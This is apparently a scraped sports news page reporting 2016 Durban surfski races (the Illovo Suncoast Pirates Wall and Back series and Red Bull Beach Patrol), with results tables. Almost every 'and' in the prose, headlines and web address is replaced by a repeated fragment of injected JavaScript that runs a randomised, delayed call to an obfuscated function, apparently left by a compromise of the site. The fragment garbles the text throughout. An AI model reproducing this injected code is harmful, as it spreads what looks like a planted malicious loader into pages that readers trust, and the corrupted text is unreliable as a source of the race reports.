    In the double clash Clinton Cook andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Tom Lovemore raced home ahead of Irvin Dixon andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Byron McKie while Shaun Dias andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Kerry were the first mixed double across the line andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Savannah van Rooyen andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Siobhan Sharp claimed the women’s doubles spoils.

    Race three of the 2016 Illovo Suncoast Pirates Wall andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Back Surfski Series takes place at 15h15 at Suncoast Pirates on Friday 28 October. More information can be found at www.wallandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andback.co.za

    SUMMARY OF RESULTS
    RACE TWO – ILLOVO SUNCOAST PIRATES WALL AND BACK SURFSKI SERIES

    Men
    1.Wade Krieger 36.22
    2.Matthew Bouman 36.45
    3.Luke Nisbet 38.08
    4.Bailey de Fondaumiere (U18) 39.08
    5.Hamish Lovemore (U18) 39.50

    Women
    1.Jenna Ward 44.20
    2.Kyeta Purchase (U18) 46.45
    3.Donna Tutton 53.33

    Junior Boys
    1.Bailey de Fondaumiere 39.08
    2.Hamish Lovemore 39.50
    3.Emanuel Zaloumis 45.53

    Junior Girls
    1.Kyeta Purchase 46.45

    Doubles
    1.Clinton Cook/Tom Lovemore 37.06
    2.Irvin Dixon/Byron McKie 37.20
    3.Travis Wilson/Tyler Wilson 38.53

    Mixed Doubles
    1.Shaun Dias/Kerry Segal 40.04
    2.Lee Furby/Pippa McGregor 41.57
    3.Jordon Clauson/Vanessa Mayhew 43.11

    Women’s Doubles
    1.Savannah van Rooyen/Siobhan Sharp 56.10

    Krieger andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Ward draw first blood at Illovo Wall & Back

    Written by Barry Lewin on . Posted in SurfSki Events

    Durban – The 2016 Illovo Suncoast Pirates Wall andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Back Surfski Series began in dramatic fashion on Friday evening as tricky surf andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and tough conditions greeted paddlers with Wade Krieger andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Jenna Ward claiming wins handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}anding them the upper handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and after the first of six legs.

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    The opening salvo of the demandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}anding series was missing defending champion Hank McGregor, however the competition between winner Krieger andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Matt Bouman was always going to be an interesting one andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and it played out to script.

    “It was a tough race especially taking on Matt (Bouman) who is a really tough rival andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and fierce competitor,” Herbalife/Epic Kayak’s Krieger said after his win.

    “The surf was tricky andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and we had to do some hard turns early to avoid the sets as well as a couple of doubles but it was well worth it in the end.”

    The first race of the 2015 series followed a very similar pattern with Krieger andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Bouman fighting it out for the honours. Krieger took the honours in 2015 andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and repeated the achievement again in 2016.

    “The race got really intense on the way back with Matthew andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I going head to head but I have been in that situation before with Hank (McGregor) so I knew that I couldn’t give up.

    “I decided to turn in early instead of continuing the extra few metres deeper andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and got to the shore with a 200 metre run for the line.

    “It paid off as I made the right decision andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and got to the finish line first which I am really stoked about!” a satisfied Krieger added.

    SMG/Epic Kayak’s Bouman was pipped to the line by just three seconds with Steve Woods completing the podium, finishing just under three minutes behind the winner.

    Owing in part to the difficulty of the conditions Euro Steel/Fenn Kayak’s Jenna Ward was the only female paddler to take on the first race of the 2016 Wall andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Back series finishing fourteenth overall.

    “It was really fun to be back in the sea racing despite the big surf andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and choppy water,” Ward mentioned.

    “I am hoping for a series win but all the girls are so it is going to be really interesting racing for the series title.

    “There will be some strong girls on the start line next week so I am just really looking forward to some good, hard racing,” added Ward.

    The young dup of Clinton Cook andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Thomas Lovemore were the first double to cross the line ahead of Lee Muir andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Shaun Burgin in second andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Irvin Dixon andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Byron McKie in third.

    More information can be found at www.wallandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andback.co.za

    SUMMARY OF RESULTS
    RACE ONE – ILLOVO SUNCOAST PIRATES WALL AND BACK SURFSKI SERIES

    Overall
    1.Wade Krieger 36:56
    2.Matt Bouman 36:59
    3.Steve Woods 39:42
    4.Konrad Karcz 43:33
    5.Greg Worthington 44:07

    Women
    1.Jenna Ward 53:08

    Men’s Junior
    1.Brendon Delport 01:03:13

    Doubles
    1.Clinton Cook/Thomas Lovemore 39:46
    2.Lee Muir/Shaun Burgin 44:07
    3.Irvin Dixon/Byron McKie 45:54

    Illovo Wall andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Back returns for exciting 2016 edition

    Written by Barry Lewin on . Posted in SurfSki Events

    Durban – As the summer months approach, the surf at Pirates SLC becomes the home of the six-leg 2016 Illovo Suncoast Pirates Wall andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Back Surfski Series which will be kicking off on Friday, 14 October for another edition of the action-packed, drama-laden series that takes paddlers from Suncoast Pirates Lifesaving Club to the harbour wall andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and back.

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    The famous surfski series is one of the tougher series on the East Coast’s calendar as the tricky surf at Pirates makes the exit andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and entry difficult.

    That, however, won’t stop droves of paddlers taking on the eight kilometre course to the harbour andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and back every Friday evening for the next six weeks.

    The series’ testing conditions has meant it attracts the crème de la crème of surfski paddlers in the Durban region andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the 2016 series will be no different as the intense rivalry between 2015 series winner Hank McGregor andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and his regular opponent, Matthew Bouman (Epic Kayaks) resumes with the challenge for the ladies title set to be just as competitive.

    “It is a great series andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I will definitely try andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and race in as many of the legs of the series as I can this year,” Euro Steel/Epic Kayak’s McGregor mentioned.

    “The surf is definitely the most challenging part of the race andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and as far as surfski races go, it is definitely one of the trickier races as it is not over until you have got through the surf andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and are back on the beach.

    “That element of nature that you have to contend with is one of the main components that makes the Wall andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Back series so unique.

    “The series ups the skill levels of everyone who takes part andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and is a proper test for all, setting it apart from the other Durban series.”

    A chocker-block international surfski schedule may well curtail McGregor’s march towards another Wall andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Back Surfski Series title however he has committed himself to as many races as he can do as he looks to meet the series’ minimum criteria that requires paddlers to complete four of the six races to be in line for the series’ spoils.

    “I am off to France next week for a surfski race andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I am busy until the end of the year, but I will be at Pirates every Friday that I am available!

    “The competition is always so good andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and it gives me a chance to sharpen up andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and take on some of the best surfski paddlers in the world on a weekly basis.

    “We have conditions here in Durban that international paddlers have never experienced, so it gives us the edge in international competition.

    “The high quality of racing also means that I have to be on top of my game week in andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and week out,” he stressed.

    The ladies series honours will be just as exciting with a number of high-class paddlers in the running for the overall title. Training partners Jenna Ward (Euro Steel), Kyeta Purchase (Euro Steel/Mocké Paddling) andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Nikki Russell will lead the charge, however others, such as Hayley Nixon (Euro Steel/Carbonology Sport), will be chomping at the bit for a chance at success.

    Purchase won the overall women’s title in 2015 however she will have her work cut out for her this year with a stellar field expected to be contesting for the honours.

    More information can be found at www.wallandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andback.co.za

    DURBAN’S BEST LIFESAVERS BATTLE ON THE BEACH FOR HONOURS

    Written by Barry Lewin on . Posted in SurfSki Events

    The second edition of Red Bull Beach Patrol on Durban’s famous North Beach produced non-stop action for more than 900 spectators who gathered on the beachfront as prominent Durban Lifesaver Luke Nisbet took the title.

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    DURBAN (KwaZulu-Natal) – Usually the spot of many a surf rescue, North Beach played host to lifesaving professionals andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and enthusiasts as Red Bull Beach Patrol saw competitors take to the warm waters of Durban, testing their overall fitness in four gruelling rounds. Local boy Luke Nisbet fought off initial favourite Wade Krieger to claim the overall title.

    The starting field of over 80 participants whittled down over the three preliminary legs, with only 33 making it to the traditional lifesaving ‘iron-man’ final.

    “It was a great day all-round even though paddling conditions were a bit flat,” Nisbet said after his win. “I really started feeling it during the run after the surfski leg of the final – the support on the pier was awesome andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and really pushed me on to the end.”

    Krieger, though dominant in the preliminary rounds, couldn’t hold off Nisbet who starting the final with a strong swim andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and increased his gap over the field through the finale.

    “It’s great to win an event like this against such a top class field. This event is great for the local lifesavers because it gives guys the chance to showcase their skills over a format that is so unique to the sport.”

    The typically warm Durban winter weather provided the ideal environment for action-packed racing as top lifesavers tested their mettle against a variety of other athletes in an exciting format.

    The format’s preliminary rounds consisted of surfski, Malibu board andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and surf swim legs which narrowed down the field with the fastest athletes qualifying for the iron man final which included the three preliminary disciplines as well as a run down the North Beach pier andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and a swim to shore.

    Dusi Canoe Marathon winner andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and third place finisher in 2016, Sbonelo Khwela, took a step out of his comfort zone as he competed in the day’s action: “What the professional lifeguards do on a daily basis is amazing. They have to be so fit to be able to save lives day after day. I was certainly humbled sitting amongst them in the field.”

    “They’re the real heroes.”

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    SUMMARY OF RESULTS – RED BULL BEACH PATROL 2016

    Men:
    1.Luke Nisbet 00:19:51
    2.Wade Krieger 00:20:20
    3.Donald Brierley 00:21:42

    Women:
    1.Carmel Billson 00:22:52
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